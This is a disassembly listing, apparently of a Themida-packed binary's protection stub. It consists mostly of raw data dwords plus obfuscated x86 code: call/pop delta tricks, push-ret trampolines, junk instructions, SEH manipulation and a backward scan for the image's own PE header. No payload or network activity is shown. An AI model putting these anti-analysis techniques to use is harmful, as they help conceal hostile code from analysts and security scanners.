		dd 8104246Ch, 1C042444h, 45000000h, 2FE1C355h, 8DEB9C8Bh
		dd 0E982BD01h, 0Ah, 10174FE9h, 65BE5CE9h, 85FF3797h, 7E420B9h
		dd 218D9589h, 0BDE907E4h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5C7B2B:				; DATA XREF: Themida_:00584C04o
		call	$+5
		pop	ebp
		sub	ebp, 7E856A5h
		push	0
		push	eax
		call	sub_5C7B42
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7B42	proc near		; CODE XREF: Themida_:005C7B3Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C7B42	endp

; ---------------------------------------------------------------------------
		dw 0C1FAh
		dd 55E96B26h, 0BD89F382h, 7E41A61h, 0CAB7BE60h,	7E93197h
		dd 0D000000h, 0A5A902F1h, 8161ABA1h, 0E42AD5BDh, 7D007h
		dd 2D860F00h, 89000001h, 0E427799Dh, 999D8B07h,	6A07E413h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0CE42C357h, 2AFA9815h, 0BF0F6A24h, 8D0F60FFh
		dd 1, 19D8BF8h,	6107E423h, 100E381h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 69811FC3h
		dd 0B8FEA41h, 73850FDBh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 4BBC356h
		dd 0B1FC0C96h, 8B72FE9Ah, 0E400A9BDh, 92BD8307h, 7E854h
		dd 0C840Fh, 47E90000h, 81000000h, 0E93488F7h, 85C7F574h
		dd 7E85492h, 1,	31E9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 41F1CA37h, 85C70C22h
		dd 7E85492h, 0
		dd 2D9531h, 9D8D07E4h, 7E41399h, 6880F51h, 0F000000h, 8Ah
		dd 23815F00h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0A2C35040h, 0D844BC02h, 6ADB8C66h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 452C350h, 5B05118Fh,	12E538ECh, 0F04C3F6h, 4784h, 0FE900h
		dd 0CDF60000h, 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 9195FF0Ah
		dd 2907E42Dh, 0E400D1BDh, 4895007h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2627DB77h
		dd 36CDCFE1h, 3EDE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E8293B1Ch, 5,	79D0CD99h
		dd 62BE66A9h, 0B05FA3h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0E1C35242h, 9860F9A6h, 0BD1E565Fh, 9DB533C9h
		dd 2307E403h, 0E408A1BDh, 0E470E607h, 57006A71h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 894E0F32h, 0FC57CA95h, 81D8B60Fh, 0F69849CEh, 6BA6Dh
		dd 0BD8B0000h, 7E41AEDh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D29B4C3h, 7E40079h
		dd 73A6BE66h, 2BDBD03h,	0E8C107E4h, 0CDF8104h, 6658FC02h
		dd 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0F6546CC3h, 6AD82B37h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FBF4C352h
		dd 187461DFh, 0E993D811h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh
		dd 70A5FED7h, 0E950596Ah, 0Bh, 6A967AD5h, 5ED03CCFh, 932E24EEh
		dd 65907BFh, 0D5B5FF77h, 6607E42Ah, 95FFF88Bh, 7E40E41h
		dd 3581BD89h, 0B007E4h,	71E470E6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0A9C35646h,	0BF571535h, 73BFAC50h
		dd 613CF95Eh, 25C830Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 2BBAA3C3h, 609F5524h
		dd 0BDA8B66h, 0E4034585h, 0B60F6107h, 6BAD8h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 692764C3h, 0CCD11BBFh, 958D89FAh, 8B07E42Dh,	0C1F38BC3h
		dd 0E95704E8h, 0Ah, 63E8D690h, 0E283C274h, 665E0FFCh, 9589E2F7h
		dd 7E402E1h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0BEC0F2C3h, 58ECF7E1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7FC35242h, 0F57F38F6h
		dd 0FD82BF5h, 19188h, 5D9D2900h, 0B907E405h, 7,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8DC35242h, 0F676E3D4h
		dd 1FEDBD8Bh, 0C18307E4h, 11E800h, 45380000h, 77062954h
		dd 1012BF2Ah, 1811D81Ah, 0FE91D04h, 68Dh, 9B52300h, 5F07E41Bh
		dd 860FD93Bh, 132h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FC35040h, 0DF3DB6C3h, 0E9BC8E33h, 0Dh
		dd 68D09620h, 738A96DAh, 0E721EB20h, 0D98C66D2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AC35646h, 0C1F6AC7Eh
		dd 0B3840F04h, 0FF000000h, 0E42D9195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0CB402765h, 16916C14h, 6A5B01h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 54C787C3h, 0EFB7D9A3h
		dd 2B64D857h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0AD90C09h, 0C7FA9F1Dh, 2EA99D89h
		dd 343D07E4h, 0F000008h, 2D86h,	7E900h,	2070000h, 55E828EFh
		dd 3CE9BBh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 0C08BAEC3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0C9C35242h,	0C38B2D9Dh, 0BE66D88Bh
		dd 0B58B79FCh, 7E41F45h, 55585C7h, 0CFFD07E4h, 8BFC710Bh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 96978E7Ch, 81F08B0Dh, 0E42AD5BDh, 7D007h
		dd 2E850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 3517C356h, 38B032B3h
		dd 0D585FFE9h, 8B07E42Ah, 0E41C71B5h, 0D5B5FF07h, 6607E42Ah
		dd 95FFF98Bh, 7E40E41h,	1E19BD8Bh, 8B9007E4h, 58529FEh
		dd 8B07E40Ah, 0E40619BDh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E9FACF18h
		dd 0Dh,	0EB7AA82Fh, 0B48B8753h,	0B64A10A2h, 0F5BD8BF6h
		dd 6A07E431h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 8848C353h, 0BD09532Eh,	7E41455h
		dd 14E85Eh, 0DB5D0000h,	0E5AC9F5h, 0FF44F157h, 2B6BD8A4h
		dd 58B79C17h, 8D094215h, 7E42045h, 0ED95315Fh, 8B07E41Ch
		dd 0E41D75B5h, 0B8F78107h, 3355CB30h, 0E40D6DB5h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5A531001h, 8B74ACD0h, 88C0FF0h, 51000000h, 0BE66F88Bh
		dd 0F85F1019h, 840F6060h, 0
; ---------------------------------------------------------------------------
		or	eax, 706A4196h
		popa
		mov	[ebp+7E42195h],	eax
		popa
		push	0
		push	ebx
		call	sub_5C82A1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C82A1	proc near		; CODE XREF: Themida_:005C8299p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C82A1	endp

; ---------------------------------------------------------------------------
		db 23h,	2Ah, 0B3h
		dd 0E18992B9h, 8B8D0948h, 0E42D2DBDh, 85296007h, 7E42155h
		dd 9830Fh, 8B660000h, 0B58589CAh, 0B907E425h, 600F9BDEh
		dd 0F849E961h, 0BD33FFFFh, 7E41D21h, 6AC18Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 376A6EC3h
		dd 4EBF679h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+7E418F1h],	edx
		push	0
		push	ecx
		call	sub_5C8321
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8321	proc near		; CODE XREF: Themida_:005C8319p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C8321	endp

; ---------------------------------------------------------------------------
		add	eax, 0EC7D42ECh
		lea	eax, [ebp+7E40D85h]
		push	0
		push	ebp
		call	sub_5C8347
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8347	proc near		; CODE XREF: Themida_:005C833Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C8347	endp

; ---------------------------------------------------------------------------
		db 74h
		dd 0BC2C9971h, 5050784Eh, 0AFC1BF52h, 310F2EE9h, 5AFB8B66h
		dd 24048958h, 13ED9509h, 6A07E4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 15C35545h, 0E997A1D9h, 0Eh
		dd 0F07F8777h, 0C9CD08D6h, 8BA21102h, 0BDBFC5C1h, 6A4F0041h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 4047D164h, 68D0Fh, 0BD8B0000h, 7E40A65h
		dd 2F81B58Bh, 858D07E4h, 7E8606Dh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D3C35545h,	554949B5h, 26199589h
		dd 0C08307E4h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 40BF5414h, 5024DFBAh
		dd 60605250h, 6162B461h, 6660310Fh, 880FD18Bh, 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		pop	eax
		mov	[esp], eax
		push	edx
		mov	[ebp+7E4232Dh],	ebx
		pop	edi
		push	0
		mov	esi, [ebp+7E41C59h]
		mov	di, 7503h
		push	0
		push	0
		push	edi
		call	sub_5C846F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C846F	proc near		; CODE XREF: Themida_:005C8467p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C846F	endp

; ---------------------------------------------------------------------------
		db 35h
		dd 0A8A0F51h, 0E9000000h, 5, 54B5844Eh,	7195FF19h, 0F07E424h
		dd 9D8DFBBFh, 7E7D64Bh,	25859501h, 0D3FF07E4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h, 6CEED62Eh
		dd 0A13AAF93h, 0F5DBA2BEh, 0B985FF0Dh, 6A07E420h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2A98C357h, 68CFBE66h, 92FE9h, 0E800h, 815D0000h, 0E86077EDh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 12E7E1CEh, 53639528h, 0DE81663Fh, 0BD81F110h
		dd 7E42AD5h, 7D0h, 112860Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 48B4B9C3h
		dd 89DBC3E2h, 0E41965BDh, 859D8B07h, 8907E423h,	0E403EDB5h
		dd 0E38107h, 6A000001h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0C612C350h,	89FC4420h
		dd 0BF88B66h, 8D850FDBh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9FA4C353h
		dd 81BD83FBh, 7E85Eh, 31840Fh, 0BD8B0000h, 7E4138Dh, 67E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 38BCB610h, 15BD8B55h, 0C707E419h, 0E85E8185h
		dd 107h, 858D0100h, 0E907E41Ah,	2Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 1C35646h, 5E8185C7h, 7E8h
		dd 0B58B0000h, 7E4035Dh, 23859D8Dh, 238107E4h, 0FFFFFEFFh
		dd 5696BF66h, 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F7FFC355h,	0EFC43F2Ah
		dd 9ABCF87Ah, 12E8h, 9C301800h,	0A020025Eh, 0E8159E20h
		dd 975DA3B8h, 89F9F49Fh, 0E405F98Dh, 0C3F65E07h, 7C840F04h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 284C357h, 0BD8B33BEh, 7E420D9h
		dd 2D9195FFh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 718B72C3h, 3FF26266h, 0E9A766DCh
		dd 13h,	4B415853h, 6DDD4636h, 4C6C6167h, 1694C375h, 909B098Eh
		dd 580BE50h, 8190283Ah,	7ABBB0F6h, 45858961h, 0E907E402h
		dd 4D8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	60C35747h, 0B975A2E3h, 1989B58Bh, 8B0F07E4h, 6
		dd 272D9589h, 0B007E4h,	11C68166h, 6A70E644h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 62DFC355h, 8971E4F1h, 0E420C5BDh, 0D8B60F07h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 55C35646h, 73BE6650h
		dd 890F40h, 0BA000000h,	6, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0FFC35343h, 0F8A91FF9h, 6AC38BC5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 5168C353h, 0FEEF9BEh, 4E8C164h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0CDC35040h,	7AD95CD2h, 281FF282h
		dd 5830FB8h, 0BF000000h, 6D6B0E96h, 0CE9h, 3DA8F00h, 0B7AB8D45h
		dd 9BC47B21h, 0E2F766EAh, 0DD1B58Bh, 0D82B07E4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 0E8760D89h
		dd 50ECD303h, 0A6DBBE66h, 81241C89h, 596854E7h,	0D5B5FF3Ch
		dd 6A07E42Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0F03C356h, 1047A1E9h, 0E8369AF9h
		dd 8, 6922452h,	738EEEAh, 2181B58Bh, 8B5F07E4h,	4195FFF2h
		dd 0F807E40Eh, 6A00B0h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 27042AC3h, 0C9FC04C9h, 1EDBD23h
		dd 4BBE07E4h, 0E67AF9D4h, 0F78170h, 0E4720C09h,	50006A71h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0B9928945h, 14E9CA93h, 72000000h, 0BE9C90DBh, 304330A5h
		dd 46D92011h, 295F51CEh, 665CC9EFh, 613CF88Bh, 2BE830Fh
		dd 9D310000h, 7E422A5h,	6AD8B60Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC5C353h
		dd 81CE0C48h, 0B2D93FF6h, 6BA5Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h
		dd 51DC005Ah, 601B4D5Dh, 22A99D31h, 815207E4h, 9C8939C2h
		dd 8B615F11h, 12E9C3h, 255F0000h, 76FDE95h, 9B40D7F9h
		dd 0DE0E43A6h, 0B88C6892h, 6A04E8C1h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AA93C350h
		dd 0E1995C92h, 7EDF2B8h, 23D9BD8Bh, 0F76607E4h,	50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 4770F80Eh, 9E94D39h,	0CE000000h, 0F34D25C7h,	4C216EA3h
		dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 756C78C3h, 0E858A1E3h, 7,	0E551147Eh, 5E7C9921h
		dd 880FD82Bh, 1A4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 19C35141h, 1861DBE9h,	9A036174h, 0B9F7B70Fh
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 15h
		dd 0B2C35646h, 0C1831Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 3C35343h, 860FD93Bh, 134h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h, 666181E7h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 4BF216C3h, 99CE1E09h, 0C1F68D53h,	0DE840F04h
		dd 0BE000000h, 6224C471h, 2D9195FFh, 6A07E4h, 3E856h
dword_5C8B28	dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
					; DATA XREF: Themida_:00583CB4o
		dd 89535AC3h, 0E4237D9Dh, 6A5B5E07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EF66C356h
		dd 61D5470Ch, 2B540192h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0AED16D4Fh, 61D49B9Eh
		dd 3DF56DE3h, 834h, 57860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 850FB9C3h
		dd 6, 2C31BD8Bh, 31E907E4h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F04CC352h
		dd 958967DDh, 7E42465h,	57D860BFh, 0BFC08B4Bh, 67501B41h
		dd 0D88BC38Bh, 10E860h,	87A70000h, 0BAC08EAFh, 846B33AAh
		dd 0ABA67370h, 58F93996h, 0C0EA8166h, 85C761EDh, 7E41399h
		dd 1F39CF3Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0DBC35646h, 0C08B16A8h,	0BD81FA8Bh, 7E42AD5h, 7D0h
		dd 30850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 1DBD8AC3h, 31918D01h, 853107E4h
		dd 7E42165h, 2AD585FFh,	0B5FF07E4h, 7E42AD5h, 3840F60h
		dd 66000000h, 0CB8BC28Bh, 4195FF61h, 6A07E40Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 288C352h, 6692A19Ah,	7BA9D781h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E71B250Dh
		dd 8AE3083Ch, 13E89Eh, 0C1410000h, 3EE04623h, 42C89BB2h
		dd 0D53E0D41h, 91C95AC2h, 60BE66E9h, 0BD895E3Bh, 7E4258Dh
		dd 197DB52Bh, 0B70F07E4h, 9BD8BF3h, 0E907E40Bh,	0Fh, 0CB6F128Ch
		dd 63770545h, 948FC1F5h, 0E81A2E02h, 0Dh, 0E04AE2F9h, 19A5D1D2h
		dd 9B5B8A8Eh, 758D89F3h, 0F07E424h, 0C8Ah, 59950900h, 8B07E42Ah
		dd 0E42319B5h, 8B665F07h, 57006AF8h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 3641522h, 0E41C7DB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0CE81663Dh, 6A330Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9BE513C3h
		dd 892C7495h, 3957BF66h, 0A1958B60h, 6007E421h,	14A5B589h
		dd 6E907E4h, 6000000h, 0DA2582DFh, 0CE96121h, 59000000h
		dd 6C64FC31h, 6D3BA0C1h, 61F5EF05h, 6870Fh, 0B58B0000h
		dd 7E415D9h, 0FFF6F4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 1317C8B6h, 0FCBFA89Ah
		dd 0ED958B60h, 0B907E41Bh, 0FFFFFFFEh, 6820Fh, 0B5310000h
		dd 7E407D5h, 1999958Bh,	8D2107E4h, 7E43591h, 0BEC46EBBh
		dd 658D2134h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 3BE4C353h, 0F037CB91h
		dd 0C1D0A59Eh, 35918D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 7E7113C3h, 0E306DDC9h
		dd 858946E8h, 7E41B7Dh,	0F01E183h, 2585h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 1B78B48h, 77EA9987h,	8D8BD9DEh, 7E40965h, 1E183FCh
		dd 6850Fh, 0CE810000h, 7C6CF282h, 6A6061h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 853425C3h
		dd 84A50AF1h, 6ADBD29h,	816607E4h, 0B947C0DBh, 0FFFFFFFEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h
		dd 6CB7907Ch, 0F5BD894Ah, 2107E42Dh, 0E41AC58Dh, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 66CF4993h, 215DD8BEh, 0E406FD8Dh, 958B5107h,	7E42B4Dh
		dd 25CA805Ah, 1AC58D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 48B4B9C3h, 0E3DBC3E2h
		dd 0F8A39D2Fh, 0F01E183h, 0B85h, 8DB58900h, 0B807E406h
		dd 179BCEEBh, 6FD8D8Bh,	0BF6607E4h, 0E183714Dh,	0B850F01h
		dd 0E9000000h, 6, 5BDB5BCAh, 6061E1EAh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 50C35242h, 0D761808Ch
		dd 12E938h, 0C1720000h,	157E25EEh, 0B9188CC8h, 23CCE8B9h
		dd 0CF5C2823h, 0FFFFFEB9h, 88C0FFFh, 57000000h,	17F18D89h
		dd 215E07E4h, 0E405558Dh, 11E907h, 99940000h, 0D499129h
		dd 0F88E97B6h, 0EB9789F0h, 8B7E837Eh, 998D21DFh, 0BF07E413h
		dd 5EC71947h, 5558D8Bh,	6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 66E1D5C3h, 0F084D681h
		dd 0F01E183h, 2485h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 81F73941h, 0DA8930D6h
		dd 998D8B0Ah, 6A07E413h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 1BEC353h, 0E41D25BDh
		dd 1E18307h, 1C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 6061A0C3h, 1A59D89h
		dd 0FEB907E4h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 303BC350h, 8D219D99h
		dd 7E40B69h, 23DDB58Bh,	8D2107E4h, 7E42385h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 33C35242h, 0E9900E1Dh
		dd 0B58968DCh, 7E4278Dh, 0B698D8Bh, 5E807E4h, 91000000h
		dd 0DB84E4B2h, 0BE9h, 0EB6E8D00h, 0F1635387h, 456AE418h
		dd 0B5BD895Eh, 8307E41Ch, 850F01E1h, 24h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 0A8C35242h, 7BE0A9D7h
		dd 0D18B81B5h, 23858D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0CE9D3C3h, 89000000h
		dd 919B619Ch, 55FFBBABh, 8369E1F8h, 850F01E1h, 1, 6A6061F9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0EE55C356h, 3FA7F371h, 0D585C7F8h, 0D007E42Ah
		dd 6A000007h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0A27C356h, 6A611EB5h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E241C357h, 19C5950Bh, 0BD2307E4h, 7E43195h,	9D6107EBh
		dd 0E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E54A2930h, 6A506Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E938B0C3h
		dd 75E9C18Bh, 60000000h, 0A8D88C66h, 35840F04h,	6A000000h
		dd 9DB5FF01h, 8D07E401h, 0E7B0A785h, 89D0FF07h,	0E40FA585h
		dd 0C1FE8B07h, 680CEFh,	6A200400h, 57026A00h, 1000D68h
		dd 0A595FF00h, 0E907E40Fh, 32h,	2C2D85C6h, 685607E4h, 0A9C530DFh
		dd 2141B5FFh, 858D07E4h, 7E7B0A7h, 8589D0FFh, 7E40B5Dh
		dd 1CE5858Dh, 6A5007E4h, 56056A20h
		dd 0B5D95FFh, 0C36107E4h, 0BA06E0C1h, 0F0115000h, 0EA81h
		dd 0C283F000h, 95958914h, 8307E41Bh, 858D14EAh,	7E86F4Eh
		dd 35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5C936C:				; CODE XREF: Themida_:005C938Ej
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5C9389
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5C9393


loc_5C9389:				; CODE XREF: Themida_:005C9371j
		sub	eax, 1000h
		jmp	loc_5C936C
; ---------------------------------------------------------------------------


loc_5C9393:				; CODE XREF: Themida_:005C9383j
		mov	ecx, eax
		mov	[ebp+7E415DDh],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+7E422E9h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+7E41C55h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+7E40929h],	edx
		add	edx, [eax+8]
		mov	[ebp+7E40075h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5C93EC
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5C93EC:				; CODE XREF: Themida_:005C93D4j
		cmp	dword ptr [ebp+7E4015Dh], 0
		jz	loc_5C941D
		mov	byte ptr [ebp+7E42C2Dh], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+7E42141h]
		lea	eax, [ebp+7E7B0A7h]
		call	eax
		push	0
		call	eax
		mov	[ebp+7E41615h],	eax


loc_5C941D:				; CODE XREF: Themida_:005C93F3j
		mov	edx, ebx
		pusha
		pusha
		jo	loc_5C942A
		movsx	esi, ax


loc_5C942A:				; CODE XREF: Themida_:005C9421j
		xor	si, 0A3E6h
		popa
		mov	di, bx
		mov	eax, eax
		push	0
		push	eax
		call	sub_5C9440
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C9440	proc near		; CODE XREF: Themida_:005C9438p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
